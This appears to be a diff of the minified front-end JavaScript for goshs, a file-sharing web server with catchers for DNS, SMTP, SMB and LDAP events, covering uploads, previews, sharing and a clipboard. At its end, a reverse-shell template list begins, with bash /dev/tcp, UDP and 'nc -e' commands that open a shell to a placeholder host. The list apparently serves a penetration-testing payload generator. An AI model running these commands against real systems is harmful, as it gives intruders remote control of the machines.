<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><polyline points="16 18 22 12 16 6"/><polyline points="8 6 2 12 8 18"/></svg> </button>`:""} - </div>`,g.appendChild(E)}),N.appendChild(g)}let M=document.createElement("div");M.className="mail-raw-section",M.style.display="none",M.innerHTML=`<pre>${d(e.rawHeader||"")}</pre>`;let O=document.createElement("div");O.className="mail-footer",O.innerHTML='<button class="btn btn-ghost btn-sm" data-action="raw">Raw headers</button>';function ie(g){s.classList.toggle("open",g);let v=b.querySelector(".mail-chevron");v&&(v.style.transform=g?"rotate(180deg)":"");let E=(f?f.querySelector(".mail-body-tab.active"):null)?.dataset.tab||(i?"html":"plain");f&&(f.style.display=g?"flex":"none"),y.style.display=g&&E==="plain"?"block":"none",$.style.display=g&&E==="html"?"block":"none",k.style.display=g&&E==="preview"?"flex":"none",f||(i?$.style.display=g?"block":"none":y.style.display=g?"block":"none"),p.length&&(N.style.display=g?"block":"none"),O.style.display=g?"flex":"none"}return C.onclick=()=>ie(!s.classList.contains("open")),b.onclick=()=>ie(!s.classList.contains("open")),f&& f.addEventListener("click",g=>{let v=g.target.closest(".mail-body-tab");if(!v)return;f.querySelectorAll(".mail-body-tab").forEach(Bt=>Bt.classList.remove("active")),v.classList.add("active");let E=v.dataset.tab;y.style.display=E==="plain"?"block":"none",$.style.display=E==="html"?"block":"none",k.style.display=E==="preview"?"flex":"none"}),O.addEventListener("click",g=>{let v=g.target.closest("[data-action]");if(v&&v.dataset.action==="raw"){let E=M.style.display==="block";M.style.display=E?"none":"block",v.textContent=E?"Raw headers":"Hide raw"}}),s.appendChild(C),s.appendChild(b),f&&s.appendChild(f),s.appendChild(y),s.appendChild($),u&&s.appendChild(k),p.length&&s.appendChild(N),s.appendChild(M),s.appendChild(O),O.style.display="none",s}function W(){let e=(document.getElementById("smtp-search").value||"").toLowerCase(),t=document.getElementById("smtp-inbox"),s=document.getElementById("smtp-empty"),o=r.smtpEvents.filter(n=>!e||(n.from||"").toLowerCase().includes(e)||(n.to||[]).join( " ").toLowerCase().includes(e)||(n.subject||"").toLowerCase().includes(e)||(n.body||"").toLowerCase().includes(e));s.style.display=o.length?"none":"flex",t.querySelectorAll(".mail-card").forEach(n=>n.remove()),o.forEach((n,a)=>{t.appendChild(Jt(n,a===0&&!e))})}function ee(e){let t=document.getElementById("goshs-lightbox");t||(t=document.createElement("div"),t.id="goshs-lightbox",t.className="lightbox",t.innerHTML='<img id="goshs-lb-img">',t.onclick=()=>t.classList.remove("open"),document.body.appendChild(t)),document.getElementById("goshs-lb-img").src=e,t.classList.add("open")}function $e(e){fetch(e).then(t=>t.text()).then(t=>{let s=window.open("","_blank");s.document.write(`<!DOCTYPE html><html><head><meta charset="UTF-8"> + </div>`,g.appendChild(E)}),N.appendChild(g)}let M=document.createElement("div");M.className="mail-raw-section",M.style.display="none",M.innerHTML=`<pre>${d(e.rawHeader||"")}</pre>`;let O=document.createElement("div");O.className="mail-footer",O.innerHTML='<button class="btn btn-ghost btn-sm" data-action="raw">Raw headers</button>';function ie(g){s.classList.toggle("open",g);let v=b.querySelector(".mail-chevron");v&&(v.style.transform=g?"rotate(180deg)":"");let E=(f?f.querySelector(".mail-body-tab.active"):null)?.dataset.tab||(i?"html":"plain");f&&(f.style.display=g?"flex":"none"),y.style.display=g&&E==="plain"?"block":"none",$.style.display=g&&E==="html"?"block":"none",k.style.display=g&&E==="preview"?"flex":"none",f||(i?$.style.display=g?"block":"none":y.style.display=g?"block":"none"),p.length&&(N.style.display=g?"block":"none"),O.style.display=g?"flex":"none"}return C.onclick=()=>ie(!s.classList.contains("open")),b.onclick=()=>ie(!s.classList.contains("open")),f&& f.addEventListener("click",g=>{let v=g.target.closest(".mail-body-tab");if(!v)return;f.querySelectorAll(".mail-body-tab").forEach(Bt=>Bt.classList.remove("active")),v.classList.add("active");let E=v.dataset.tab;y.style.display=E==="plain"?"block":"none",$.style.display=E==="html"?"block":"none",k.style.display=E==="preview"?"flex":"none"}),O.addEventListener("click",g=>{let v=g.target.closest("[data-action]");if(v&&v.dataset.action==="raw"){let E=M.style.display==="block";M.style.display=E?"none":"block",v.textContent=E?"Raw headers":"Hide raw"}}),s.appendChild(C),s.appendChild(b),f&&s.appendChild(f),s.appendChild(y),s.appendChild($),u&&s.appendChild(k),p.length&&s.appendChild(N),s.appendChild(M),s.appendChild(O),O.style.display="none",s}function F(){let e=(document.getElementById("smtp-search").value||"").toLowerCase(),t=document.getElementById("smtp-inbox"),s=document.getElementById("smtp-empty"),o=r.smtpEvents.filter(n=>!e||(n.from||"").toLowerCase().includes(e)||(n.to||[]).join( " ").toLowerCase().includes(e)||(n.subject||"").toLowerCase().includes(e)||(n.body||"").toLowerCase().includes(e));s.style.display=o.length?"none":"flex",t.querySelectorAll(".mail-card").forEach(n=>n.remove()),o.forEach((n,a)=>{t.appendChild(Jt(n,a===0&&!e))})}function ee(e){let t=document.getElementById("goshs-lightbox");t||(t=document.createElement("div"),t.id="goshs-lightbox",t.className="lightbox",t.innerHTML='<img id="goshs-lb-img">',t.onclick=()=>t.classList.remove("open"),document.body.appendChild(t)),document.getElementById("goshs-lb-img").src=e,t.classList.add("open")}function $e(e){fetch(e).then(t=>t.text()).then(t=>{let s=window.open("","_blank");s.document.write(`<!DOCTYPE html><html><head><meta charset="UTF-8"> <meta http-equiv="Content-Security-Policy" content="script-src 'none'"> - </head><body>${t}</body></html>`),s.document.close()}).catch(()=>m("Failed to load HTML attachment","error"))}function Ee(){r.smtpEvents=[],w("smtp-badge","0"),r.ws.send(JSON.stringify({type:"clearSMTP"})),T(),W()}function ke(){return{onDNS:Dt,onSMTP:Wt,onHTTP:At,onSMB:Ut,onLDAP:Ft,renderHTTP:J,renderDNS:j,renderSMTP:W,renderSMB:U,renderLDAP:F}}function Le(e){window.location.href=e}function Be(){let e=document.getElementById("file-search").value.toLowerCase();document.querySelectorAll("#file-tbody tr").forEach(t=>{let s=(t.dataset.name||"").toLowerCase();t.style.display=!e||s.includes(e)?"":"none"})}var Te={name:!0,size:!0,mtime:!0};function Ie(e){let t=Te[e]=!Te[e],s=document.getElementById("file-tbody"),o=Array.from(s.querySelectorAll("tr[data-name]"));o.sort((a,c)=>{let i=a.dataset[e]||"",l=c.dataset[e]||"";return e==="size"||e==="mtime"?(i=parseFloat(i)||0,l=parseFloat(l)||0,t?i-l:l-i):t?i.localeCompare(l):l.localeCompare(i)}),o.forEach(a=>s.appendChild(a)),docum ent.querySelectorAll(".file-table th[id]").forEach(a=>{a.classList.remove("sorted"),a.querySelector(".sort-arrow").textContent="\u2195"});let n=document.getElementById("th-"+e);n&&(n.classList.add("sorted"),n.querySelector(".sort-arrow").textContent=t?"\u2191":"\u2193")}function X(){let e=document.querySelectorAll(".row-check-item:checked").length;document.getElementById("bulk-bar").classList.toggle("show",e>0),document.getElementById("bulk-count").textContent=e+" selected"}function te(){document.querySelectorAll(".row-check-item").forEach(t=>t.checked=!1);let e=document.getElementById("chk-all");e&&(e.checked=!1),X()}function zt(){return Array.from(document.querySelectorAll(".row-check-item:checked")).map(e=>e.closest("tr").dataset.value).filter(Boolean)}function ne(){let e=new URL(window.location.href);zt().forEach(t=>{e.searchParams.append("file",t)}),e.searchParams.append("bulk","true"),window.open(e.href,"_blank"),te()}function Pe(){document.querySelectorAll("#file-tbody tr[dat a-name]").forEach(e=>{if(e.style.display!=="none"){let t=e.querySelector(".row-check-item");t&&(t.checked=!0)}}),X(),ne()}function se(){let e=document.querySelector('meta[name="csrf-token"]');return e?e.getAttribute("content"):""}function G(e,t){let s;if(t?s=!0:s=confirm("Do you really want to delete the file or directory?"),s){var o="";location.protocol!=="https:"?o="http://"+window.location.host+e:o="https://"+window.location.host+e,fetch(o,{method:"DELETE",headers:{"X-CSRF-Token":se()}}).then(()=>location.reload()).catch(()=>m("Delete failed","error"))}}function Ne(){S("upload-modal")}function Me(){S("mkdir-modal"),setTimeout(()=>document.getElementById("mkdir-input").focus(),50)}function z(e){Array.from(e).forEach(t=>{r.pendingUploads.find(s=>s.name===t.name&&s.size===t.size)||r.pendingUploads.push(t)}),Oe()}function Oe(){let e=document.getElementById("upload-file-list");e.innerHTML="",r.pendingUploads.forEach((t,s)=>{let o=document.createElement("div");o.className="upload-file- item",o.innerHTML=`<span class="fname">${d(t.name)}</span><span class="fsize">${D(t.size)}</span> -<button class="fremove" onclick="removeUpload(${s})">\u2715</button>`,e.appendChild(o)})}function Ae(e){r.pendingUploads.splice(e,1),Oe()}function qe(){if(!r.pendingUploads.length){m("No files selected","warn");return}let e=new FormData;r.pendingUploads.forEach(n=>e.append("file",n));let t=document.getElementById("upload-progress-wrap"),s=document.getElementById("upload-progress-bar");t.style.display="block",s.style.width="0";let o=new XMLHttpRequest;o.open("POST",`${window.location.href}upload`),o.setRequestHeader("X-CSRF-Token",se()),o.upload.onprogress=n=>{n.lengthComputable&&(s.style.width=n.loaded/n.total*100+"%")},o.onload=()=>{if(o.status===200)m("Upload complete!","success"),A("upload-modal"),r.pendingUploads=[],setTimeout(()=>location.reload(),600);else if(o.status===413){let n=parseInt(document.querySelector('meta[name="max-upload"]')?.content||"0",10),a=n>0?"Upload rejected: exceeds the "+D(n)+" server limit":"Upload rejected: file too large";m(a,"error")}else m("Upload f ailed: "+o.statusText,"error")},o.onerror=()=>m("Upload failed","error"),o.send(e)}function Re(){let e=document.getElementById("mkdir-input").value.trim();if(!e)return;let t=e.endsWith("/")?e:e+"/";fetch(t,{method:"POST",headers:{"X-CSRF-Token":se()}}).then(s=>{s.status===201?(m("Created: "+e,"success"),A("mkdir-modal"),setTimeout(()=>location.reload(),600)):m("Failed","error")}).catch(()=>m("Network error","error"))}function Xt(){let e=document.getElementById("drop-overlay"),t=0;document.addEventListener("dragenter",o=>{o.dataTransfer.types.includes("Files")&&(t++,e.classList.add("active"),o.preventDefault())}),document.addEventListener("dragleave",()=>{--t<=0&&(t=0,e.classList.remove("active"))}),document.addEventListener("dragover",o=>{o.preventDefault()}),document.addEventListener("drop",o=>{o.preventDefault(),t=0,e.classList.remove("active");let n=o.dataTransfer.files;n.length&&(z(n),S("upload-modal"))});let s=document.getElementById("modal-drop-area");s&&(s.addEventListener("d ragover",o=>{o.preventDefault(),s.classList.add("hover")}),s.addEventListener("dragleave",()=>s.classList.remove("hover")),s.addEventListener("drop",o=>{o.preventDefault(),s.classList.remove("hover"),z(o.dataTransfer.files)}))}function De(){Xt()}function je(){Fe(r.theme)}function Ue(){r.theme=r.theme==="dark"?"light":"dark",localStorage.setItem("goshs-theme",r.theme),Fe(r.theme)}function Fe(e){document.documentElement.setAttribute("data-theme",e);let t=document.getElementById("goshs-logo");t&&(e==="light"?t.src="/images/logo-light.png?static":t.src="/images/logo-dark.png?static")}function We(){let e=document.getElementById("emb-search").value.toLowerCase();document.querySelectorAll("#emb-tbody tr[data-name]").forEach(t=>{let s=(t.dataset.name||"").toLowerCase();t.style.display=!e||s.includes(e)?"":"none"})}var He={name:!0,size:!0,mtime:!0};function _e(e){let t=He[e]=!He[e],s=document.getElementById("emb-tbody"),o=Array.from(s.querySelectorAll("tr[data-name]"));o.sort((a,c)=>{let i=a .dataset[e]||"",l=c.dataset[e]||"";return e==="size"||e==="mtime"?(i=parseFloat(i)||0,l=parseFloat(l)||0,t?i-l:l-i):t?i.localeCompare(l):l.localeCompare(i)}),o.forEach(a=>s.appendChild(a)),document.querySelectorAll("#emb-table th[id]").forEach(a=>{a.classList.remove("sorted"),a.querySelector(".sort-arrow").textContent="\u2195"});let n=document.getElementById("emb-th-"+e);n&&(n.classList.add("sorted"),n.querySelector(".sort-arrow").textContent=t?"\u2191":"\u2193")}function Je(e){let t=location.origin+encodeURIComponent(e).replace("%2F","/")+"?embedded";navigator.clipboard.writeText(t).then(()=>m("Link copied!","success")).catch(()=>m("Copy failed","error"))}function ze(e,t){document.querySelectorAll(".snav").forEach(o=>o.classList.remove("active")),document.querySelectorAll(".panel").forEach(o=>o.classList.remove("active")),t.classList.add("active");let s=document.getElementById("panel-"+e);s&&s.classList.add("active")}function Xe(e,t){document.querySelectorAll(".ctab").forEach(o=>o. classList.remove("active")),document.querySelectorAll(".cpanel").forEach(o=>o.classList.remove("active")),t.classList.add("active");let s=document.getElementById("cpanel-"+e);s&&s.classList.add("active")}var Gt={md:"markdown",jpg:"image",jpeg:"image",png:"image",gif:"image",svg:"image",webp:"image",bmp:"image",ico:"image",mp4:"video",webm:"video",mp3:"audio",wav:"audio",ogg:"audio",pdf:"pdf",csv:"csv",txt:"text",json:"text",xml:"text",yaml:"text",yml:"text",go:"text",py:"text",js:"text",sh:"text",log:"text",css:"text",html:"text",rb:"text",java:"text",c:"text",cpp:"text",h:"text",rs:"text",toml:"text",ini:"text",cfg:"text",conf:"text",env:"text",ts:"text",sql:"text",bat:"text",ps1:"text",php:"text",pl:"text",swift:"text",kt:"text",dart:"text",lua:"text",r:"text",tex:"text",scss:"text",sass:"text",less:"text"};function V(e){let t=e.split(".").pop().toLowerCase();return Gt[t]||null}function R(e){let t=V(e);if(!t)return;let s=document.getElementById("md-content"),o=document.getElementB yId("md-title");switch(s.innerHTML="",o.textContent=e,t){case"image":var n=document.createElement("img");n.src=e,n.style.maxWidth="100%",n.style.borderRadius="4px",s.appendChild(n),S("md-modal");break;case"video":var a=document.createElement("video");a.src=e,a.controls=!0,a.style.maxWidth="100%",a.style.borderRadius="4px",s.appendChild(a),S("md-modal");break;case"audio":var c=document.createElement("audio");c.src=e,c.controls=!0,c.style.width="100%",s.appendChild(c),S("md-modal");break;case"pdf":var i=document.createElement("iframe");i.src=e,i.style.width="100%",i.style.height="80vh",i.style.border="none",i.style.borderRadius="4px",s.appendChild(i),S("md-modal");break;case"markdown":fetch(e).then(l=>{if(!l.ok)throw new Error(l.statusText);return l.text()}).then(l=>{s.innerHTML=DOMPurify.sanitize(marked.parse(l)),S("md-modal")}).catch(()=>m("Failed to load preview","error"));break;case"csv":fetch(e).then(l=>{if(!l.ok)throw new Error(l.statusText);return l.text()}).then(l=>{var p=l.tr im().split(` -`),h=document.createElement("table");h.className="preview-csv",p.forEach(function(u,C){var b=document.createElement("tr");u.split(",").forEach(function(f){var y=document.createElement(C===0?"th":"td");y.textContent=f.replace(/^"|"$/g,""),b.appendChild(y)}),h.appendChild(b)}),s.appendChild(h),S("md-modal")}).catch(()=>m("Failed to load preview","error"));break;case"text":fetch(e).then(l=>{if(!l.ok)throw new Error(l.statusText);return l.text()}).then(l=>{var p=e.split(".").pop().toLowerCase(),h=document.createElement("code");h.className="language-"+p,h.textContent=l;var u=document.createElement("pre");u.className="preview-code",u.appendChild(h),s.appendChild(u),hljs.highlightElement(h),S("md-modal")}).catch(()=>m("Failed to load preview","error"));break}}function Ge(){let e=document.getElementById("file-tbody");e&&e.addEventListener("click",t=>{if(t.ctrlKey||t.metaKey||t.button!==0)return;let s=t.target.closest("a[href]");if(!s||s.hasAttribute("download"))return;let o=s.getAttribute(" href")||"";V(o)&&(t.preventDefault(),R(o))})}function Ve(e){sessionStorage.setItem("activeTab","nav-clip"),location.reload()}function Qe(){let e=document.getElementById("clip-input").value.trim();if(e){var t={type:"newEntry",content:e};r.ws.send(JSON.stringify(t)),document.getElementById("clip-input").value=""}}function Ke(e){let t=document.querySelector("#clip-"+e+" .clip-card-body");t&&navigator.clipboard.writeText(t.textContent).then(()=>m("Copied!","success"))}function Ze(e){var t={type:"delEntry",content:e};r.ws.send(JSON.stringify(t))}function Ye(){window.open("/?cbDown","_blank")}function et(){if(confirm("Are you sure you want to clear the clipboard?")){var t={type:"clearClipboard",content:""};r.ws.send(JSON.stringify(t)).then(()=>m("Cleared!","success"))}}var nt="";function Q(e){nt=e,document.getElementById("share-result").style.display="none",document.getElementById("share-limit").value="0",document.getElementById("share-expire").value="0",S("share-modal")}function st(){let e=document.getElementById("share-limit").value,s=(parseInt(document.getElementById("share-expire").value)||60)*60;var o="";location.protocol!=="https:"?o="http://"+window.location.host:o="https://"+window.location.host;let n=`${o}${nt}?share&expires=${s}`;parseInt(e)>0?n+=`&limit=${encodeURIComponent(e)}`:n+="&limit=-1",fetch(n,{method:"GET",headers:{Accept:"application/json"}}).then(a=>a.json()).then(a=>{let c=document.getElementById("share-result");c.style.whiteSpace="pre",c.style.display="block",c.textContent=a.urls.join(` + </head><body>${t}</body></html>`),s.document.close()}).catch(()=>m("Failed to load HTML attachment","error"))}function Ee(){r.smtpEvents=[],w("smtp-badge","0"),r.ws.send(JSON.stringify({type:"clearSMTP"})),T(),F()}function ke(){return{onDNS:Dt,onSMTP:Wt,onHTTP:At,onSMB:Ut,onLDAP:Ft,renderHTTP:J,renderDNS:H,renderSMTP:F,renderSMB:j,renderLDAP:U}}function Le(e){window.location.href=e}function Be(){let e=document.getElementById("file-search").value.toLowerCase();document.querySelectorAll("#file-tbody tr").forEach(t=>{let s=(t.dataset.name||"").toLowerCase();t.style.display=!e||s.includes(e)?"":"none"})}var Te={name:!0,size:!0,mtime:!0};function Ie(e){let t=Te[e]=!Te[e],s=document.getElementById("file-tbody"),o=Array.from(s.querySelectorAll("tr[data-name]"));o.sort((a,c)=>{let i=a.dataset[e]||"",l=c.dataset[e]||"";return e==="size"||e==="mtime"?(i=parseFloat(i)||0,l=parseFloat(l)||0,t?i-l:l-i):t?i.localeCompare(l):l.localeCompare(i)}),o.forEach(a=>s.appendChild(a)),docum ent.querySelectorAll(".file-table th[id]").forEach(a=>{a.classList.remove("sorted"),a.querySelector(".sort-arrow").textContent="\u2195"});let n=document.getElementById("th-"+e);n&&(n.classList.add("sorted"),n.querySelector(".sort-arrow").textContent=t?"\u2191":"\u2193")}function X(){let e=document.querySelectorAll(".row-check-item:checked").length;document.getElementById("bulk-bar").classList.toggle("show",e>0),document.getElementById("bulk-count").textContent=e+" selected"}function te(){document.querySelectorAll(".row-check-item").forEach(t=>t.checked=!1);let e=document.getElementById("chk-all");e&&(e.checked=!1),X()}function zt(){return Array.from(document.querySelectorAll(".row-check-item:checked")).map(e=>e.closest("tr").dataset.value).filter(Boolean)}function ne(){let e=new URL(window.location.href);zt().forEach(t=>{e.searchParams.append("file",t)}),e.searchParams.append("bulk","true"),window.open(e.href,"_blank"),te()}function Pe(){document.querySelectorAll("#file-tbody tr[dat a-name]").forEach(e=>{if(e.style.display!=="none"){let t=e.querySelector(".row-check-item");t&&(t.checked=!0)}}),X(),ne()}function se(){let e=document.querySelector('meta[name="csrf-token"]');return e?e.getAttribute("content"):""}function G(e,t){let s;if(t?s=!0:s=confirm("Do you really want to delete the file or directory?"),s){var o="";location.protocol!=="https:"?o="http://"+window.location.host+e:o="https://"+window.location.host+e,fetch(o,{method:"DELETE",headers:{"X-CSRF-Token":se()}}).then(()=>location.reload()).catch(()=>m("Delete failed","error"))}}function Ne(){S("upload-modal")}function Me(){S("mkdir-modal"),setTimeout(()=>document.getElementById("mkdir-input").focus(),50)}function z(e){Array.from(e).forEach(t=>{r.pendingUploads.find(s=>s.name===t.name&&s.size===t.size)||r.pendingUploads.push(t)}),Oe()}function Oe(){let e=document.getElementById("upload-file-list");e.innerHTML="",r.pendingUploads.forEach((t,s)=>{let o=document.createElement("div");o.className="upload-file- item",o.innerHTML=`<span class="fname">${d(t.name)}</span><span class="fsize">${R(t.size)}</span> +<button class="fremove" onclick="removeUpload(${s})">\u2715</button>`,e.appendChild(o)})}function Ae(e){r.pendingUploads.splice(e,1),Oe()}function qe(){if(!r.pendingUploads.length){m("No files selected","warn");return}let e=new FormData;r.pendingUploads.forEach(n=>e.append("file",n));let t=document.getElementById("upload-progress-wrap"),s=document.getElementById("upload-progress-bar");t.style.display="block",s.style.width="0";let o=new XMLHttpRequest;o.open("POST",`${window.location.href}upload`),o.setRequestHeader("X-CSRF-Token",se()),o.upload.onprogress=n=>{n.lengthComputable&&(s.style.width=n.loaded/n.total*100+"%")},o.onload=()=>{if(o.status===200)m("Upload complete!","success"),A("upload-modal"),r.pendingUploads=[],setTimeout(()=>location.reload(),600);else if(o.status===413){let n=parseInt(document.querySelector('meta[name="max-upload"]')?.content||"0",10),a=n>0?"Upload rejected: exceeds the "+R(n)+" server limit":"Upload rejected: file too large";m(a,"error")}else m("Upload f ailed: "+o.statusText,"error")},o.onerror=()=>m("Upload failed","error"),o.send(e)}function Re(){let e=document.getElementById("mkdir-input").value.trim();if(!e)return;let t=e.endsWith("/")?e:e+"/";fetch(t,{method:"POST",headers:{"X-CSRF-Token":se()}}).then(s=>{s.status===201?(m("Created: "+e,"success"),A("mkdir-modal"),setTimeout(()=>location.reload(),600)):m("Failed","error")}).catch(()=>m("Network error","error"))}function Xt(){let e=document.getElementById("drop-overlay"),t=0;document.addEventListener("dragenter",o=>{o.dataTransfer.types.includes("Files")&&(t++,e.classList.add("active"),o.preventDefault())}),document.addEventListener("dragleave",()=>{--t<=0&&(t=0,e.classList.remove("active"))}),document.addEventListener("dragover",o=>{o.preventDefault()}),document.addEventListener("drop",o=>{o.preventDefault(),t=0,e.classList.remove("active");let n=o.dataTransfer.files;n.length&&(z(n),S("upload-modal"))});let s=document.getElementById("modal-drop-area");s&&(s.addEventListener("d ragover",o=>{o.preventDefault(),s.classList.add("hover")}),s.addEventListener("dragleave",()=>s.classList.remove("hover")),s.addEventListener("drop",o=>{o.preventDefault(),s.classList.remove("hover"),z(o.dataTransfer.files)}))}function De(){Xt()}function je(){Fe(r.theme)}function Ue(){r.theme=r.theme==="dark"?"light":"dark",localStorage.setItem("goshs-theme",r.theme),Fe(r.theme)}function Fe(e){document.documentElement.setAttribute("data-theme",e);let t=document.getElementById("goshs-logo");t&&(e==="light"?t.src="/images/logo-light.png?static":t.src="/images/logo-dark.png?static")}function We(){let e=document.getElementById("emb-search").value.toLowerCase();document.querySelectorAll("#emb-tbody tr[data-name]").forEach(t=>{let s=(t.dataset.name||"").toLowerCase();t.style.display=!e||s.includes(e)?"":"none"})}var He={name:!0,size:!0,mtime:!0};function _e(e){let t=He[e]=!He[e],s=document.getElementById("emb-tbody"),o=Array.from(s.querySelectorAll("tr[data-name]"));o.sort((a,c)=>{let i=a .dataset[e]||"",l=c.dataset[e]||"";return e==="size"||e==="mtime"?(i=parseFloat(i)||0,l=parseFloat(l)||0,t?i-l:l-i):t?i.localeCompare(l):l.localeCompare(i)}),o.forEach(a=>s.appendChild(a)),document.querySelectorAll("#emb-table th[id]").forEach(a=>{a.classList.remove("sorted"),a.querySelector(".sort-arrow").textContent="\u2195"});let n=document.getElementById("emb-th-"+e);n&&(n.classList.add("sorted"),n.querySelector(".sort-arrow").textContent=t?"\u2191":"\u2193")}function Je(e){let t=location.origin+encodeURIComponent(e).replace("%2F","/")+"?embedded";navigator.clipboard.writeText(t).then(()=>m("Link copied!","success")).catch(()=>m("Copy failed","error"))}function ze(e,t){document.querySelectorAll(".snav").forEach(o=>o.classList.remove("active")),document.querySelectorAll(".panel").forEach(o=>o.classList.remove("active")),t.classList.add("active");let s=document.getElementById("panel-"+e);s&&s.classList.add("active")}function Xe(e,t){document.querySelectorAll(".ctab").forEach(o=>o. classList.remove("active")),document.querySelectorAll(".cpanel").forEach(o=>o.classList.remove("active")),t.classList.add("active");let s=document.getElementById("cpanel-"+e);s&&s.classList.add("active")}var Gt={md:"markdown",jpg:"image",jpeg:"image",png:"image",gif:"image",svg:"image",webp:"image",bmp:"image",ico:"image",mp4:"video",webm:"video",mp3:"audio",wav:"audio",ogg:"audio",pdf:"pdf",csv:"csv",txt:"text",json:"text",xml:"text",yaml:"text",yml:"text",go:"text",py:"text",js:"text",sh:"text",log:"text",css:"text",html:"text",rb:"text",java:"text",c:"text",cpp:"text",h:"text",rs:"text",toml:"text",ini:"text",cfg:"text",conf:"text",env:"text",ts:"text",sql:"text",bat:"text",ps1:"text",php:"text",pl:"text",swift:"text",kt:"text",dart:"text",lua:"text",r:"text",tex:"text",scss:"text",sass:"text",less:"text"};function V(e){let t=e.split(".").pop().toLowerCase();return Gt[t]||null}function W(e){let t=V(e);if(!t)return;let s=document.getElementById("md-content"),o=document.getElementB yId("md-title");switch(s.innerHTML="",o.textContent=e,t){case"image":var n=document.createElement("img");n.src=e,n.style.maxWidth="100%",n.style.borderRadius="4px",s.appendChild(n),S("md-modal");break;case"video":var a=document.createElement("video");a.src=e,a.controls=!0,a.style.maxWidth="100%",a.style.borderRadius="4px",s.appendChild(a),S("md-modal");break;case"audio":var c=document.createElement("audio");c.src=e,c.controls=!0,c.style.width="100%",s.appendChild(c),S("md-modal");break;case"pdf":var i=document.createElement("iframe");i.src=e,i.style.width="100%",i.style.height="80vh",i.style.border="none",i.style.borderRadius="4px",s.appendChild(i),S("md-modal");break;case"markdown":fetch(e).then(l=>{if(!l.ok)throw new Error(l.statusText);return l.text()}).then(l=>{s.innerHTML=DOMPurify.sanitize(marked.parse(l)),S("md-modal")}).catch(()=>m("Failed to load preview","error"));break;case"csv":fetch(e).then(l=>{if(!l.ok)throw new Error(l.statusText);return l.text()}).then(l=>{var p=l.tr im().split(` +`),h=document.createElement("table");h.className="preview-csv",p.forEach(function(u,C){var b=document.createElement("tr");u.split(",").forEach(function(f){var y=document.createElement(C===0?"th":"td");y.textContent=f.replace(/^"|"$/g,""),b.appendChild(y)}),h.appendChild(b)}),s.appendChild(h),S("md-modal")}).catch(()=>m("Failed to load preview","error"));break;case"text":fetch(e).then(l=>{if(!l.ok)throw new Error(l.statusText);return l.text()}).then(l=>{var p=e.split(".").pop().toLowerCase(),h=document.createElement("code");h.className="language-"+p,h.textContent=l;var u=document.createElement("pre");u.className="preview-code",u.appendChild(h),s.appendChild(u),hljs.highlightElement(h),S("md-modal")}).catch(()=>m("Failed to load preview","error"));break}}function Ge(){let e=document.getElementById("file-tbody");e&&e.addEventListener("click",t=>{if(t.ctrlKey||t.metaKey||t.button!==0)return;let s=t.target.closest("a[href]");if(!s||s.hasAttribute("download"))return;let o=s.getAttribute(" href")||"";V(o)&&(t.preventDefault(),W(o))})}function Ve(e){sessionStorage.setItem("activeTab","nav-clip"),location.reload()}function Qe(){let e=document.getElementById("clip-input").value.trim();if(e){var t={type:"newEntry",content:e};r.ws.send(JSON.stringify(t)),document.getElementById("clip-input").value=""}}function Ke(e){let t=document.querySelector("#clip-"+e+" .clip-card-body");t&&navigator.clipboard.writeText(t.textContent).then(()=>m("Copied!","success"))}function Ze(e){var t={type:"delEntry",content:e};r.ws.send(JSON.stringify(t))}function Ye(){window.open("/?cbDown","_blank")}function et(){if(confirm("Are you sure you want to clear the clipboard?")){var t={type:"clearClipboard",content:""};r.ws.send(JSON.stringify(t)).then(()=>m("Cleared!","success"))}}var nt="";function Q(e){nt=e,document.getElementById("share-result").style.display="none",document.getElementById("share-limit").value="0",document.getElementById("share-expire").value="0",S("share-modal")}function st(){let e=document.getElementById("share-limit").value,s=(parseInt(document.getElementById("share-expire").value)||60)*60;var o="";location.protocol!=="https:"?o="http://"+window.location.host:o="https://"+window.location.host;let n=`${o}${nt}?share&expires=${s}`;parseInt(e)>0?n+=`&limit=${encodeURIComponent(e)}`:n+="&limit=-1",fetch(n,{method:"GET",headers:{Accept:"application/json"}}).then(a=>a.json()).then(a=>{let c=document.getElementById("share-result");c.style.whiteSpace="pre",c.style.display="block",c.textContent=a.urls.join(` `);let i=document.getElementById("share-result-qr");i.style.display="block",new QRious({element:document.getElementById("share-qr-canvas"),value:a.urls[0],size:200})}).catch(()=>m("Share failed","error"))}function ot(e){var t="";location.protocol!=="https:"?t="http://"+window.location.host:t="https://"+window.location.host,e=e.replaceAll("//","/");let s=`${t}/${e}`.replaceAll("//","/");new QRious({element:document.getElementById("qr-canvas"),value:s,size:200}),document.getElementById("qr-url").textContent=s,S("qr-modal")}function at(){let e=location.protocol+"//"+window.location.host;document.querySelectorAll(".share-card").forEach(t=>{let s=t.id.replace("share-card-",""),o=document.getElementById("share-url-"+s);if(o){let n=t.querySelector(".share-card-path").textContent.trim();o.textContent=`${e}${n}?token=${s}`}}),tt(),setInterval(tt,3e4)}function tt(){let e=Math.floor(Date.now()/1e3);document.querySelectorAll(".share-expiry-rel").forEach(t=>{let o=parseInt(t.dataset.expires,10)- e;o<=0?(t.textContent="expired",t.style.color="var(--danger)"):o<60?(t.textContent=`in ${o}s`,t.style.color="var(--warn)"):o<3600?(t.textContent=`in ${Math.floor(o/60)}m`,t.style.color="var(--warn)"):o<86400?(t.textContent=`in ${Math.floor(o/3600)}h`,t.style.color="var(--text1)"):(t.textContent=`in ${Math.floor(o/86400)}d`,t.style.color="var(--text1)")})}function rt(e){let t=document.getElementById("share-url-"+e);if(!t)return;let s=t.textContent.trim();new QRious({element:document.getElementById("qr-canvas"),value:s,size:200}),document.getElementById("qr-url").textContent=s,S("qr-modal")}function ct(e){let t=document.getElementById("share-url-"+e);t&&navigator.clipboard.writeText(t.textContent.trim()).then(()=>m("URL copied","success")).catch(()=>m("Copy failed","error"))}function it(e,t){if(!confirm("Do you really want to delete the shared link?"))return;let o=(location.protocol==="https:"?"https://":"http://")+window.location.host+"/?token="+e,n=document.querySelector('meta[name= "csrf-token"]')?.content||"";fetch(o,{method:"DELETE",headers:{"X-CSRF-Token":n}}).then(()=>{sessionStorage.setItem("activeTab","nav-share"),location.reload()}).catch(()=>m("Delete failed","error"))}var lt={"Bash -i":"bash -i >& /dev/tcp/{IP}/{PORT} 0>&1","Bash 196":"0<&196;exec 196<>/dev/tcp/{IP}/{PORT}; sh <&196 >&196 2>&196","Bash read line":"exec 5<>/dev/tcp/{IP}/{PORT};cat <&5 | while read line; do $line 2>&5 >&5; done","Bash udp":"sh -i >& /dev/udp/{IP}/{PORT} 0>&1","nc -e":"nc -e /bin/sh {IP} {PORT}","nc.exe -e":"nc.exe -e cmd.exe {IP} {PORT}","BusyBox 